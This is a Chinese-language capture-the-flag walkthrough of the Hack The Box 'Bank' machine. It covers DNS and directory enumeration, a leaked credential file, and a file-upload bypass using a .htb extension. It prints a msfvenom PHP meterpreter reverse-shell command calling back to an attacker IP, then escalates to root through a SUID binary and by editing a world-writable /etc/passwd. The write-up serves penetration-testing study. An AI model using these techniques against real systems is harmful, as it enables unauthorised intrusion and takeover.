概述 (Overview)
- MACHINE TAGS
- SUID
- Web
攻击链 (Kiillchain)
TTPs (Tactics, Techniques & Procedures)
- nmap
- nslookup && dig
- gobuster
- linenum
阶段1:枚举
老规矩 nmap 开启局,识别出 22,53,80。
53端口一般部署的DNS Server,为了性能考虑一般也会开发UDP的53端口。
浏览器查看下HTTP的服务,看到的是apache安装后的默认页面。gobuster 扫一遍下来也没有什么发现。
阶段2:工具和利用
阶段2.1: DNS信息枚举
尝试看看能否从DNS服务中获取获取到有效信息。
nslookup 命令可以指定查询的类型,可以查到DNS记录的生存时间还可以指定使用哪个DNS服务器进行解释。
进入交互模式后,设置要连接的域名服务器为 10.10.10.29
,尝试查询连接的域名服务器主机名称或IP地址。可以看到当查询 bank.htb
域名时返回了一段主机名加IP的信息。
再用dig确认下:
dig(域信息搜索器)命令是一个用于询问 DNS 域名服务器的灵活的工具。
当修改好hosts后访问则显示了新的Web界面:
顺便在枚举一下域名,看看会不会存在其他的二级域名。
阶段2.2:目录枚举
在使用 gobuster 加 directory-list-2.3-medium.txt 枚举后,多个路径:
在 /balance-transfer
目录下发现很多 .acc
后缀的文件,点击size
排序后发现特殊的明文Password。
cat ~/Downloads/68576f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+
===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===
通过该账号密码成功登录系统。
阶段2.3:File Upload
先生成一个反弹脚本:msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.6 LPORT=9990 -f raw -o shell.php
点击页面的文件上传后会提示错误,上传的必须是图片才行。
在网页源代码中发现一段遗留的注释,上传.htb
后缀名的文件,用作PHP调试。
改完后缀直接上传即可。
成功上线,并在 /home/chris
下成功找到Flag
阶段3:权限提升
上传 LinEnum.sh
至服务器,使用该脚本进一步分析。
注意到 chris
用户具备管理员组的权限,综合HTB的提示在SUID中发现了可以的命令 /var/htb/bin/emergency
直接运行该命令,得到了 root sh 会话。
非预期解法:User
在复盘IPPSEC的视频时,发现他是直接用burp请求 admin 页面,让后特换返回响应头将301的的跳转改为200(body数据已经显示但Header显示重定向,欺骗浏览器行为)。
学到了…
非预期解法:Root
也是复盘IPPSEC的视频,发现/etc/passwd
所有用户都具有编辑功能。
直接生成一个自定义的的MD5-based
口令,这里是ippsec
。
直接编辑保存 passwd
的内容即可,这样就可以用ippsec
作为口令SSH登录root身份。
学到了…
参考
- https://skyao.io/learning-dns/dns/tool/nslookup.html
- https://medium.com/@klockw3rk/back-to-basics-dns-enumeration-446017957aa3
- https://github.com/muckitymuck/OSCP-Study-Guide/blob/master/enumeration/active_information_gathering.md#dns-enumeration
- https://fareedfauzi.gitbook.io/oscp-notes/services-enumeration/dns